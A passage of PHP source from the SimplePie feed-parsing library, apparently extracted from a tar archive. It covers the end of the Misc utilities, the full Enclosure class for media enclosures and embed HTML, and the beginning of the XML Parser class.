document.writeln('<embed type="application/x-mplayer2" src="'+link+'" autosize="1" width="'+width+'" height="'+height+'" showcontrols="1" showstatusbar="0" showdisplay="0" autostart="0"></embed>');
}
JS;
echo $body;
}
/**
* Get the SimplePie build timestamp
*
* Uses the git index if it exists, otherwise uses the modification time
* of the newest file.
*
* @return int
*/
public static function get_build()
{
if (self::$SIMPLEPIE_BUILD !== null) {
return self::$SIMPLEPIE_BUILD;
}
$root = dirname(__FILE__, 2);
if (file_exists($root . '/.git/index')) {
self::$SIMPLEPIE_BUILD = (int) filemtime($root . '/.git/index');
return self::$SIMPLEPIE_BUILD;
} elseif (file_exists($root . '/src')) {
$time = 0;
foreach (glob($root . '/src/*.php') ?: [] as $file) {
if (($mtime = filemtime($file)) > $time) {
$time = $mtime;
}
}
self::$SIMPLEPIE_BUILD = $time;
return self::$SIMPLEPIE_BUILD;
}
self::$SIMPLEPIE_BUILD = (int) filemtime(__FILE__);
return self::$SIMPLEPIE_BUILD;
}
/**
* Get the default user agent string
*
* @return string
*/
public static function get_default_useragent()
{
return \SimplePie\SimplePie::NAME . '/' . \SimplePie\SimplePie::VERSION . ' (Feed Parser; ' . \SimplePie\SimplePie::URL . '; Allow like Gecko) Build/' . static::get_build();
}
/**
* Format debugging information
*
* @return string
*/
public static function debug(SimplePie &$sp)
{
$info = 'SimplePie ' . \SimplePie\SimplePie::VERSION . ' Build ' . static::get_build() . "\n";
$info .= 'PHP ' . PHP_VERSION . "\n";
if ($sp->error() !== null) {
// TODO: Remove cast with multifeeds.
$info .= 'Error occurred: ' . implode(', ', (array) $sp->error()) . "\n";
} else {
$info .= "No error found.\n";
}
$info .= "Extensions:\n";
$extensions = ['pcre', 'curl', 'zlib', 'mbstring', 'iconv', 'xmlreader', 'xml'];
foreach ($extensions as $ext) {
if (extension_loaded($ext)) {
$info .= " $ext loaded\n";
switch ($ext) {
case 'pcre':
$info .= ' Version ' . PCRE_VERSION . "\n";
break;
case 'curl':
$version = (array) curl_version();
$info .= ' Version ' . $version['version'] . "\n";
break;
case 'iconv':
$info .= ' Version ' . ICONV_VERSION . "\n";
break;
case 'xml':
$info .= ' Version ' . LIBXML_DOTTED_VERSION . "\n";
break;
}
} else {
$info .= " $ext not loaded\n";
}
}
return $info;
}
/**
* @return bool
*/
public static function silence_errors(int $num, string $str)
{
// No-op
return true;
}
/**
* Sanitize a URL by removing HTTP credentials.
* @param string $url the URL to sanitize.
* @return string the same URL without HTTP credentials.
*/
public static function url_remove_credentials(string $url)
{
// Cast for PHPStan: I do not think this can fail.
// The regex is valid and there should be no backtracking.
// https://github.com/phpstan/phpstan/issues/11547
return (string) preg_replace('#^(https?://)[^/:@]+:[^/:@]+@#i', '$1', $url);
}
}
class_alias('SimplePie\Misc', 'SimplePie_Misc', false);
src/Enclosure.php 0000644 00000076616 15220516755 0010033 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
/**
* Handles everything related to enclosures (including Media RSS and iTunes RSS)
*
* Used by {@see \SimplePie\Item::get_enclosure()} and {@see \SimplePie\Item::get_enclosures()}
*
* This class can be overloaded with {@see \SimplePie\SimplePie::set_enclosure_class()}
*/
class Enclosure
{
/**
* @var ?string
* @see get_bitrate()
*/
public $bitrate;
/**
* @var Caption[]|null
* @see get_captions()
*/
public $captions;
/**
* @var Category[]|null
* @see get_categories()
*/
public $categories;
/**
* @var ?int
* @see get_channels()
*/
public $channels;
/**
* @var ?Copyright
* @see get_copyright()
*/
public $copyright;
/**
* @var Credit[]|null
* @see get_credits()
*/
public $credits;
/**
* @var ?string
* @see get_description()
*/
public $description;
/**
* @var ?int
* @see get_duration()
*/
public $duration;
/**
* @var ?string
* @see get_expression()
*/
public $expression;
/**
* @var ?string
* @see get_framerate()
*/
public $framerate;
/**
* @var ?string
* @see get_handler()
*/
public $handler;
/**
* @var string[]|null
* @see get_hashes()
*/
public $hashes;
/**
* @var ?string
* @see get_height()
*/
public $height;
/**
* @deprecated
* @var null
*/
public $javascript;
/**
* @var string[]|null
* @see get_keywords()
*/
public $keywords;
/**
* @var ?string
* @see get_language()
*/
public $lang;
/**
* @var ?int
* @see get_length()
*/
public $length;
/**
* @var ?string
* @see get_link()
*/
public $link;
/**
* @var ?string
* @see get_medium()
*/
public $medium;
/**
* @var ?string
* @see get_player()
*/
public $player;
/**
* @var Rating[]|null
* @see get_ratings()
*/
public $ratings;
/**
* @var ?Restriction[]
* @see get_restrictions()
*/
public $restrictions;
/**
* @var ?string
* @see get_sampling_rate()
*/
public $samplingrate;
/**
* @var string[]|null
* @see get_thumbnails()
*/
public $thumbnails;
/**
* @var ?string
* @see get_title()
*/
public $title;
/**
* @var ?string
* @see get_type()
*/
public $type;
/**
* @var ?string
* @see get_width()
*/
public $width;
/**
* Constructor, used to input the data
*
* For documentation on all the parameters, see the corresponding
* properties and their accessors
*
* @uses idn_to_ascii If available, this will convert an IDN
*
* @param null $javascript
* @param Caption[]|null $captions
* @param Category[]|null $categories
* @param Credit[]|null $credits
* @param string[]|null $hashes
* @param string[]|null $keywords
* @param Rating[]|null $ratings
* @param Restriction[]|null $restrictions
* @param string[]|null $thumbnails
*/
public function __construct(
?string $link = null,
?string $type = null,
?int $length = null,
$javascript = null,
?string $bitrate = null,
?array $captions = null,
?array $categories = null,
?int $channels = null,
?Copyright $copyright = null,
?array $credits = null,
?string $description = null,
?int $duration = null,
?string $expression = null,
?string $framerate = null,
?array $hashes = null,
?string $height = null,
?array $keywords = null,
?string $lang = null,
?string $medium = null,
?string $player = null,
?array $ratings = null,
?array $restrictions = null,
?string $samplingrate = null,
?array $thumbnails = null,
?string $title = null,
?string $width = null
) {
$this->bitrate = $bitrate;
$this->captions = $captions;
$this->categories = $categories;
$this->channels = $channels;
$this->copyright = $copyright;
$this->credits = $credits;
$this->description = $description;
$this->duration = $duration;
$this->expression = $expression;
$this->framerate = $framerate;
$this->hashes = $hashes;
$this->height = $height;
$this->keywords = $keywords;
$this->lang = $lang;
$this->length = $length;
$this->link = $link;
$this->medium = $medium;
$this->player = $player;
$this->ratings = $ratings;
$this->restrictions = $restrictions;
$this->samplingrate = $samplingrate;
$this->thumbnails = $thumbnails;
$this->title = $title;
$this->type = $type;
$this->width = $width;
if (function_exists('idn_to_ascii')) {
$parsed = \SimplePie\Misc::parse_url($link ?? '');
if ($parsed['authority'] !== '' && !ctype_print($parsed['authority'])) {
$authority = (string) \idn_to_ascii($parsed['authority'], \IDNA_NONTRANSITIONAL_TO_ASCII, \INTL_IDNA_VARIANT_UTS46);
$this->link = \SimplePie\Misc::compress_parse_url($parsed['scheme'], $authority, $parsed['path'], $parsed['query'], $parsed['fragment']);
}
}
$this->handler = $this->get_handler(); // Needs to load last
}
/**
* String-ified version
*
* @return string
*/
public function __toString()
{
// There is no $this->data here
return md5(serialize($this));
}
/**
* Get the bitrate
*
* @return string|null
*/
public function get_bitrate()
{
if ($this->bitrate !== null) {
return $this->bitrate;
}
return null;
}
/**
* Get a single caption
*
* @param int $key
* @return \SimplePie\Caption|null
*/
public function get_caption(int $key = 0)
{
$captions = $this->get_captions();
if (isset($captions[$key])) {
return $captions[$key];
}
return null;
}
/**
* Get all captions
*
* @return Caption[]|null
*/
public function get_captions()
{
if ($this->captions !== null) {
return $this->captions;
}
return null;
}
/**
* Get a single category
*
* @param int $key
* @return \SimplePie\Category|null
*/
public function get_category(int $key = 0)
{
$categories = $this->get_categories();
if (isset($categories[$key])) {
return $categories[$key];
}
return null;
}
/**
* Get all categories
*
* @return \SimplePie\Category[]|null
*/
public function get_categories()
{
if ($this->categories !== null) {
return $this->categories;
}
return null;
}
/**
* Get the number of audio channels
*
* @return int|null
*/
public function get_channels()
{
if ($this->channels !== null) {
return $this->channels;
}
return null;
}
/**
* Get the copyright information
*
* @return \SimplePie\Copyright|null
*/
public function get_copyright()
{
if ($this->copyright !== null) {
return $this->copyright;
}
return null;
}
/**
* Get a single credit
*
* @param int $key
* @return \SimplePie\Credit|null
*/
public function get_credit(int $key = 0)
{
$credits = $this->get_credits();
if (isset($credits[$key])) {
return $credits[$key];
}
return null;
}
/**
* Get all credits
*
* @return Credit[]|null
*/
public function get_credits()
{
if ($this->credits !== null) {
return $this->credits;
}
return null;
}
/**
* Get the description of the enclosure
*
* @return string|null
*/
public function get_description()
{
if ($this->description !== null) {
return $this->description;
}
return null;
}
/**
* Get the duration of the enclosure
*
* @param bool $convert Convert seconds into hh:mm:ss
* @return string|int|null 'hh:mm:ss' string if `$convert` was specified, otherwise integer (or null if none found)
*/
public function get_duration(bool $convert = false)
{
if ($this->duration !== null) {
if ($convert) {
$time = \SimplePie\Misc::time_hms($this->duration);
return $time;
}
return $this->duration;
}
return null;
}
/**
* Get the expression
*
* @return string Probably one of 'sample', 'full', 'nonstop', 'clip'. Defaults to 'full'
*/
public function get_expression()
{
if ($this->expression !== null) {
return $this->expression;
}
return 'full';
}
/**
* Get the file extension
*
* @return string|null
*/
public function get_extension()
{
if ($this->link !== null) {
$url = \SimplePie\Misc::parse_url($this->link);
if ($url['path'] !== '') {
return pathinfo($url['path'], PATHINFO_EXTENSION);
}
}
return null;
}
/**
* Get the framerate (in frames-per-second)
*
* @return string|null
*/
public function get_framerate()
{
if ($this->framerate !== null) {
return $this->framerate;
}
return null;
}
/**
* Get the preferred handler
*
* @return string|null One of 'flash', 'fmedia', 'quicktime', 'wmedia', 'mp3'
*/
public function get_handler()
{
return $this->get_real_type(true);
}
/**
* Get a single hash
*
* @link http://www.rssboard.org/media-rss#media-hash
* @param int $key
* @return string|null Hash as per `media:hash`, prefixed with "$algo:"
*/
public function get_hash(int $key = 0)
{
$hashes = $this->get_hashes();
if (isset($hashes[$key])) {
return $hashes[$key];
}
return null;
}
/**
* Get all credits
*
* @return string[]|null Array of strings, see {@see get_hash()}
*/
public function get_hashes()
{
if ($this->hashes !== null) {
return $this->hashes;
}
return null;
}
/**
* Get the height
*
* @return string|null
*/
public function get_height()
{
if ($this->height !== null) {
return $this->height;
}
return null;
}
/**
* Get the language
*
* @link http://tools.ietf.org/html/rfc3066
* @return string|null Language code as per RFC 3066
*/
public function get_language()
{
if ($this->lang !== null) {
return $this->lang;
}
return null;
}
/**
* Get a single keyword
*
* @param int $key
* @return string|null
*/
public function get_keyword(int $key = 0)
{
$keywords = $this->get_keywords();
if (isset($keywords[$key])) {
return $keywords[$key];
}
return null;
}
/**
* Get all keywords
*
* @return string[]|null
*/
public function get_keywords()
{
if ($this->keywords !== null) {
return $this->keywords;
}
return null;
}
/**
* Get length
*
* @return ?int Length in bytes
*/
public function get_length()
{
if ($this->length !== null) {
return $this->length;
}
return null;
}
/**
* Get the URL
*
* @return string|null
*/
public function get_link()
{
if ($this->link !== null) {
return $this->link;
}
return null;
}
/**
* Get the medium
*
* @link http://www.rssboard.org/media-rss#media-content
* @return string|null Should be one of 'image', 'audio', 'video', 'document', 'executable'
*/
public function get_medium()
{
if ($this->medium !== null) {
return $this->medium;
}
return null;
}
/**
* Get the player URL
*
* Typically the same as {@see get_permalink()}
* @return string|null Player URL
*/
public function get_player()
{
if ($this->player !== null) {
return $this->player;
}
return null;
}
/**
* Get a single rating
*
* @param int $key
* @return \SimplePie\Rating|null
*/
public function get_rating(int $key = 0)
{
$ratings = $this->get_ratings();
if (isset($ratings[$key])) {
return $ratings[$key];
}
return null;
}
/**
* Get all ratings
*
* @return Rating[]|null
*/
public function get_ratings()
{
if ($this->ratings !== null) {
return $this->ratings;
}
return null;
}
/**
* Get a single restriction
*
* @param int $key
* @return \SimplePie\Restriction|null
*/
public function get_restriction(int $key = 0)
{
$restrictions = $this->get_restrictions();
if (isset($restrictions[$key])) {
return $restrictions[$key];
}
return null;
}
/**
* Get all restrictions
*
* @return Restriction[]|null
*/
public function get_restrictions()
{
if ($this->restrictions !== null) {
return $this->restrictions;
}
return null;
}
/**
* Get the sampling rate (in kHz)
*
* @return string|null
*/
public function get_sampling_rate()
{
if ($this->samplingrate !== null) {
return $this->samplingrate;
}
return null;
}
/**
* Get the file size (in MiB)
*
* @return float|null File size in mebibytes (1048 bytes)
*/
public function get_size()
{
$length = $this->get_length();
if ($length !== null) {
return round($length / 1048576, 2);
}
return null;
}
/**
* Get a single thumbnail
*
* @param int $key
* @return string|null Thumbnail URL
*/
public function get_thumbnail(int $key = 0)
{
$thumbnails = $this->get_thumbnails();
if (isset($thumbnails[$key])) {
return $thumbnails[$key];
}
return null;
}
/**
* Get all thumbnails
*
* @return string[]|null Array of thumbnail URLs
*/
public function get_thumbnails()
{
if ($this->thumbnails !== null) {
return $this->thumbnails;
}
return null;
}
/**
* Get the title
*
* @return string|null
*/
public function get_title()
{
if ($this->title !== null) {
return $this->title;
}
return null;
}
/**
* Get mimetype of the enclosure
*
* @see get_real_type()
* @return string|null MIME type
*/
public function get_type()
{
if ($this->type !== null) {
return $this->type;
}
return null;
}
/**
* Get the width
*
* @return string|null
*/
public function get_width()
{
if ($this->width !== null) {
return $this->width;
}
return null;
}
/**
* Embed the enclosure using `<embed>`
*
* @deprecated Use the second parameter to {@see embed} instead
*
* @param array<string, mixed>|string $options See first parameter to {@see embed}
* @return string HTML string to output
*/
public function native_embed($options = '')
{
return $this->embed($options, true);
}
/**
* Embed the enclosure using Javascript
*
* `$options` is an array or comma-separated key:value string, with the
* following properties:
*
* - `alt` (string): Alternate content for when an end-user does not have
* the appropriate handler installed or when a file type is
* unsupported. Can be any text or HTML. Defaults to blank.
* - `altclass` (string): If a file type is unsupported, the end-user will
* see the alt text (above) linked directly to the content. That link
* will have this value as its class name. Defaults to blank.
* - `audio` (string): This is an image that should be used as a
* placeholder for audio files before they're loaded (QuickTime-only).
* Can be any relative or absolute URL. Defaults to blank.
* - `bgcolor` (string): The background color for the media, if not
* already transparent. Defaults to `#ffffff`.
* - `height` (integer): The height of the embedded media. Accepts any
* numeric pixel value (such as `360`) or `auto`. Defaults to `auto`,
* and it is recommended that you use this default.
* - `loop` (boolean): Do you want the media to loop when it's done?
* Defaults to `false`.
* - `mediaplayer` (string): The location of the included
* `mediaplayer.swf` file. This allows for the playback of Flash Video
* (`.flv`) files, and is the default handler for non-Odeo MP3's.
* Defaults to blank.
* - `video` (string): This is an image that should be used as a
* placeholder for video files before they're loaded (QuickTime-only).
* Can be any relative or absolute URL. Defaults to blank.
* - `width` (integer): The width of the embedded media. Accepts any
* numeric pixel value (such as `480`) or `auto`. Defaults to `auto`,
* and it is recommended that you use this default.
* - `widescreen` (boolean): Is the enclosure widescreen or standard?
* This applies only to video enclosures, and will automatically resize
* the content appropriately. Defaults to `false`, implying 4:3 mode.
*
* Note: Non-widescreen (4:3) mode with `width` and `height` set to `auto`
* will default to 480x360 video resolution. Widescreen (16:9) mode with
* `width` and `height` set to `auto` will default to 480x270 video resolution.
*
* @todo If the dimensions for media:content are defined, use them when width/height are set to 'auto'.
* @param array<string, mixed>|string $options Comma-separated key:value list, or array
* @param bool $native Use `<embed>`
* @return string HTML string to output
*/
public function embed($options = '', bool $native = false)
{
// Set up defaults
$audio = '';
$video = '';
$alt = '';
$altclass = '';
$loop = 'false';
$width = 'auto';
$height = 'auto';
$bgcolor = '#ffffff';
$mediaplayer = '';
$widescreen = false;
$handler = $this->get_handler();
$type = $this->get_real_type();
$placeholder = '';
// Process options and reassign values as necessary
if (is_array($options)) {
extract($options);
} else {
$options = explode(',', $options);
foreach ($options as $option) {
$opt = explode(':', $option, 2);
if (isset($opt[0], $opt[1])) {
$opt[0] = trim($opt[0]);
$opt[1] = trim($opt[1]);
switch ($opt[0]) {
case 'audio':
$audio = $opt[1];
break;
case 'video':
$video = $opt[1];
break;
case 'alt':
$alt = $opt[1];
break;
case 'altclass':
$altclass = $opt[1];
break;
case 'loop':
$loop = $opt[1];
break;
case 'width':
$width = $opt[1];
break;
case 'height':
$height = $opt[1];
break;
case 'bgcolor':
$bgcolor = $opt[1];
break;
case 'mediaplayer':
$mediaplayer = $opt[1];
break;
case 'widescreen':
$widescreen = $opt[1];
break;
}
}
}
}
$mime = explode('/', (string) $type, 2);
$mime = $mime[0];
// Process values for 'auto'
if ($width === 'auto') {
if ($mime === 'video') {
if ($height === 'auto') {
$width = 480;
} elseif ($widescreen) {
$width = round((intval($height) / 9) * 16);
} else {
$width = round((intval($height) / 3) * 4);
}
} else {
$width = '100%';
}
}
if ($height === 'auto') {
if ($mime === 'audio') {
$height = 0;
} elseif ($mime === 'video') {
if ($width === 'auto') {
if ($widescreen) {
$height = 270;
} else {
$height = 360;
}
} elseif ($widescreen) {
$height = round((intval($width) / 16) * 9);
} else {
$height = round((intval($width) / 4) * 3);
}
} else {
$height = 376;
}
} elseif ($mime === 'audio') {
$height = 0;
}
// Set proper placeholder value
if ($mime === 'audio') {
$placeholder = $audio;
} elseif ($mime === 'video') {
$placeholder = $video;
}
$embed = '';
// Flash
if ($handler === 'flash') {
if ($native) {
$embed .= "<embed src=\"" . $this->get_link() . "\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"$type\" quality=\"high\" width=\"$width\" height=\"$height\" bgcolor=\"$bgcolor\" loop=\"$loop\"></embed>";
} else {
$embed .= "<script type='text/javascript'>embed_flash('$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$loop', '$type');</script>";
}
}
// Flash Media Player file types.
// Preferred handler for MP3 file types.
elseif ($handler === 'fmedia' || ($handler === 'mp3' && $mediaplayer !== '')) {
if (is_numeric($height)) {
$height += 20;
}
if ($native) {
$embed .= "<embed src=\"$mediaplayer\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" quality=\"high\" width=\"$width\" height=\"$height\" wmode=\"transparent\" flashvars=\"file=" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "&autostart=false&repeat=$loop&showdigits=true&showfsbutton=false\"></embed>";
} else {
$embed .= "<script type='text/javascript'>embed_flv('$width', '$height', '" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "', '$placeholder', '$loop', '$mediaplayer');</script>";
}
}
// QuickTime 7 file types. Need to test with QuickTime 6.
// Only handle MP3's if the Flash Media Player is not present.
elseif ($handler === 'quicktime' || ($handler === 'mp3' && $mediaplayer === '')) {
if (is_numeric($height)) {
$height += 16;
}
if ($native) {
if ($placeholder !== '') {
$embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" href=\"" . $this->get_link() . "\" src=\"$placeholder\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"false\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
} else {
$embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" src=\"" . $this->get_link() . "\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"true\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>";
}
} else {
$embed .= "<script type='text/javascript'>embed_quicktime('$type', '$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$placeholder', '$loop');</script>";
}
}
// Windows Media
elseif ($handler === 'wmedia') {
if (is_numeric($height)) {
$height += 45;
}
if ($native) {
$embed .= "<embed type=\"application/x-mplayer2\" src=\"" . $this->get_link() . "\" autosize=\"1\" width=\"$width\" height=\"$height\" showcontrols=\"1\" showstatusbar=\"0\" showdisplay=\"0\" autostart=\"0\"></embed>";
} else {
$embed .= "<script type='text/javascript'>embed_wmedia('$width', '$height', '" . $this->get_link() . "');</script>";
}
}
// Everything else
else {
$embed .= '<a href="' . $this->get_link() . '" class="' . $altclass . '">' . $alt . '</a>';
}
return $embed;
}
/**
* Get the real media type
*
* Often, feeds lie to us, necessitating a bit of deeper inspection. This
* converts types to their canonical representations based on the file
* extension
*
* @see get_type()
* @param bool $find_handler Internal use only, use {@see get_handler()} instead
* @return string|null MIME type
*/
public function get_real_type(bool $find_handler = false)
{
// Mime-types by handler.
$types_flash = ['application/x-shockwave-flash', 'application/futuresplash']; // Flash
$types_fmedia = ['video/flv', 'video/x-flv','flv-application/octet-stream']; // Flash Media Player
$types_quicktime = ['audio/3gpp', 'audio/3gpp2', 'audio/aac', 'audio/x-aac', 'audio/aiff', 'audio/x-aiff', 'audio/mid', 'audio/midi', 'audio/x-midi', 'audio/mp4', 'audio/m4a', 'audio/x-m4a', 'audio/wav', 'audio/x-wav', 'video/3gpp', 'video/3gpp2', 'video/m4v', 'video/x-m4v', 'video/mp4', 'video/mpeg', 'video/x-mpeg', 'video/quicktime', 'video/sd-video']; // QuickTime
$types_wmedia = ['application/asx', 'application/x-mplayer2', 'audio/x-ms-wma', 'audio/x-ms-wax', 'video/x-ms-asf-plugin', 'video/x-ms-asf', 'video/x-ms-wm', 'video/x-ms-wmv', 'video/x-ms-wvx']; // Windows Media
$types_mp3 = ['audio/mp3', 'audio/x-mp3', 'audio/mpeg', 'audio/x-mpeg']; // MP3
$type = $this->get_type();
if ($type !== null) {
$type = strtolower($type);
}
// If we encounter an unsupported mime-type, check the file extension and guess intelligently.
if (!in_array($type, array_merge($types_flash, $types_fmedia, $types_quicktime, $types_wmedia, $types_mp3))) {
$extension = $this->get_extension();
if ($extension === null) {
return null;
}
switch (strtolower($extension)) {
// Audio mime-types
case 'aac':
case 'adts':
$type = 'audio/acc';
break;
case 'aif':
case 'aifc':
case 'aiff':
case 'cdda':
$type = 'audio/aiff';
break;
case 'bwf':
$type = 'audio/wav';
break;
case 'kar':
case 'mid':
case 'midi':
case 'smf':
$type = 'audio/midi';
break;
case 'm4a':
$type = 'audio/x-m4a';
break;
case 'mp3':
case 'swa':
$type = 'audio/mp3';
break;
case 'wav':
$type = 'audio/wav';
break;
case 'wax':
$type = 'audio/x-ms-wax';
break;
case 'wma':
$type = 'audio/x-ms-wma';
break;
case '3gp':
case '3gpp':
// Video mime-types
$type = 'video/3gpp';
break;
case '3g2':
case '3gp2':
$type = 'video/3gpp2';
break;
case 'asf':
$type = 'video/x-ms-asf';
break;
case 'flv':
$type = 'video/x-flv';
break;
case 'm1a':
case 'm1s':
case 'm1v':
case 'm15':
case 'm75':
case 'mp2':
case 'mpa':
case 'mpeg':
case 'mpg':
case 'mpm':
case 'mpv':
$type = 'video/mpeg';
break;
case 'm4v':
$type = 'video/x-m4v';
break;
case 'mov':
case 'qt':
$type = 'video/quicktime';
break;
case 'mp4':
case 'mpg4':
$type = 'video/mp4';
break;
case 'sdv':
$type = 'video/sd-video';
break;
case 'wm':
$type = 'video/x-ms-wm';
break;
case 'wmv':
$type = 'video/x-ms-wmv';
break;
case 'wvx':
$type = 'video/x-ms-wvx';
break;
case 'spl':
// Flash mime-types
$type = 'application/futuresplash';
break;
case 'swf':
$type = 'application/x-shockwave-flash';
break;
}
}
if ($find_handler) {
if (in_array($type, $types_flash)) {
return 'flash';
} elseif (in_array($type, $types_fmedia)) {
return 'fmedia';
} elseif (in_array($type, $types_quicktime)) {
return 'quicktime';
} elseif (in_array($type, $types_wmedia)) {
return 'wmedia';
} elseif (in_array($type, $types_mp3)) {
return 'mp3';
}
return null;
}
return $type;
}
}
class_alias('SimplePie\Enclosure', 'SimplePie_Enclosure');
src/Parser.php 0000644 00000104064 15220516755 0007315 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
use SimplePie\XML\Declaration\Parser as DeclarationParser;
use XMLParser;
/**
* Parses XML into something sane
*
*
* This class can be overloaded with {@see \SimplePie\SimplePie::set_parser_class()}
*/
class Parser implements RegistryAware
{
/** @var int */
public $error_code;
/** @var string */
public $error_string;
/** @var int */
public $current_line;
/** @var int */
public $current_column;
/** @var int */
public $current_byte;
/** @var string */
public $separator = ' ';
/** @var string[] */
public $namespace = [''];
/** @var string[] */
public $element = [''];
/** @var string[] */
public $xml_base = [''];
/** @var bool[] */
public $xml_base_explicit = [false];
/** @var string[] */
public $xml_lang = [''];
/** @var array<string, mixed> */
public $data = [];
/** @var array<array<string, mixed>> */
public $datas = [[]];
/** @var int */
public $current_xhtml_construct = -1;
/** @var string */
public $encoding;
/** @var Registry */
protected $registry;
/**
* @return void
*/
public function set_registry(\SimplePie\Registry $registry)
{
$this->registry = $registry;
}
/**
* @return bool
*/
public function parse(string &$data, string $encoding, string $url = '')
{
if (class_exists('DOMXpath') && function_exists('Mf2\parse')) {
$doc = new \DOMDocument();
@$doc->loadHTML($data);
$xpath = new \DOMXpath($doc);
// Check for both h-feed and h-entry, as both a feed with no entries
// and a list of entries without an h-feed wrapper are both valid.
$query = '//*[contains(concat(" ", @class, " "), " h-feed ") or '.
'contains(concat(" ", @class, " "), " h-entry ")]';
/** @var \DOMNodeList<\DOMElement> $result */
$result = $xpath->query($query);
if ($result->length !== 0) {
return $this->parse_microformats($data, $url);
}
}
// Use UTF-8 if we get passed US-ASCII, as every US-ASCII character is a UTF-8 character
if (strtoupper($encoding) === 'US-ASCII') {
$this->encoding = 'UTF-8';
} else {
$this->encoding = $encoding;
}
// Strip BOM:
// UTF-32 Big Endian BOM
if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") {
$data = substr($data, 4);
}
// UTF-32 Little Endian BOM
elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") {
$data = substr($data, 4);
}
// UTF-16 Big Endian BOM
elseif (substr($data, 0, 2) === "\xFE\xFF") {
$data = substr($data, 2);
}
// UTF-16 Little Endian BOM
elseif (substr($data, 0, 2) === "\xFF\xFE") {
$data = substr($data, 2);
}
// UTF-8 BOM
elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") {
$data = substr($data, 3);
}
if (substr($data, 0, 5) === '<?xml' && strspn(substr($data, 5, 1), "\x09\x0A\x0D\x20") && ($pos = strpos($data, '?>')) !== false) {
$declaration = $this->registry->create(DeclarationParser::class, [substr($data, 5, $pos - 5)]);
if ($declaration->parse()) {
$data = substr($data, $pos + 2);
$data = '<?xml version="' . $declaration->version . '" encoding="' . $encoding . '" standalone="' . (($declaration->standalone) ? 'yes' : 'no') . '"?>' . "\n" .
self::set_doctype($data);
} else {
$this->error_string = 'SimplePie bug! Please report this!';
return false;
}
} else {
$data = self::set_doctype($data);
}
$return = true;
static $xml_is_sane = null;
if ($xml_is_sane === null) {
$parser_check = xml_parser_create();
xml_parse_into_struct($parser_check, '<foo>&</foo>', $values);
if (\PHP_VERSION_ID < 80000) {
xml_parser_free($parser_check);
}
$xml_is_sane = isset($values[0]['value']);
}
// Create the parser
if ($xml_is_sane) {
$xml = xml_parser_create_ns($this->encoding, $this->separator);
xml_parser_set_option($xml, XML_OPTION_SKIP_WHITE, 1);
xml_parser_set_option($xml, XML_OPTION_CASE_FOLDING, 0);
xml_set_character_data_handler($xml, [$this, 'cdata']);
xml_set_element_handler($xml, [$this, 'tag_open'], [$this, 'tag_close']);
// Parse!
$wrapper = @is_writable(sys_get_temp_dir()) ? 'php://temp' : 'php://memory';
if (($stream = fopen($wrapper, 'r+')) &&
fwrite($stream, $data) &&
rewind($stream)) {
//Parse by chunks not to use too much memory
do {
$stream_data = (string) fread($stream, 1048576);
if (!xml_parse($xml, $stream_data, feof($stream))) {
$this->error_code = xml_get_error_code($xml);
$this->error_string = xml_error_string($this->error_code) ?: "Unknown";
$return = false;
break;
}
} while (!feof($stream));
fclose($stream);
} else {
$return = false;
}
$this->current_line = xml_get_current_line_number($xml);
$this->current_column = xml_get_current_column_number($xml);
$this->current_byte = xml_get_current_byte_index($xml);
if (\PHP_VERSION_ID < 80000) {
xml_parser_free($xml);
}
return $return;
}
libxml_clear_errors();
$xml = new \XMLReader();
$xml->xml($data);
while (@$xml->read()) {
switch ($xml->nodeType) {
case \XMLReader::END_ELEMENT:
if ($xml->namespaceURI !== '') {
$tagName = $xml->namespaceURI . $this->separator . $xml->localName;
} else {
$tagName = $xml->localName;
}
$this->tag_close(null, $tagName);
break;
case \XMLReader::ELEMENT:
$empty = $xml->isEmptyElement;
if ($xml->namespaceURI !== '') {
$tagName = $xml->namespaceURI . $this->separator . $xml->localName;
} else {
$tagName = $xml->localName;
}
$attributes = [];
while ($xml->moveToNextAttribute()) {
if ($xml->namespaceURI !== '') {
$attrName = $xml->namespaceURI . $this->separator . $xml->localName;
} else {
$attrName = $xml->localName;
}
$attributes[$attrName] = $xml->value;
}
$this->tag_open(null, $tagName, $attributes);
if ($empty) {
$this->tag_close(null, $tagName);
}
break;
case \XMLReader::TEXT:
case \XMLReader::CDATA:
$this->cdata(null, $xml->value);
break;
}
}
if ($error = libxml_get_last_error()) {
$this->error_code = $error->code;
$this->error_string = $error->message;
$this->current_line = $error->line;
$this->current_column = $error->column;
return false;
}
return true;
}
/**
* @return int
*/
public function get_error_code()
{
return $this->error_code;
}
/**
* @return string
*/
public function get_error_string()
{
return $this->error_string;
}
/**
* @return int
*/
public function get_current_line()
{
return $this->current_line;
}
/**
* @return int
*/
public function get_current_column()
{
return $this->current_column;
}
/**
* @return int
*/
public function get_current_byte()
{
return $this->current_byte;
}
/**
* @return array<string, mixed>
*/
public function get_data()
{
return $this->data;
}
/**
* @param XMLParser|resource|null $parser
* @param array<string, string> $attributes
* @return void
*/
public function tag_open($parser, string $tag, array $attributes)
{
[$this->namespace[], $this->element[]] = $this->split_ns($tag);
$attribs = [];
foreach ($attributes as $name => $value) {
[$attrib_namespace, $attribute] = $this->split_ns($name);
$attribs[$attrib_namespace][$attribute] = $value;
}
if (isset($attribs[\SimplePie\SimplePie::NAMESPACE_XML]['base'])) {
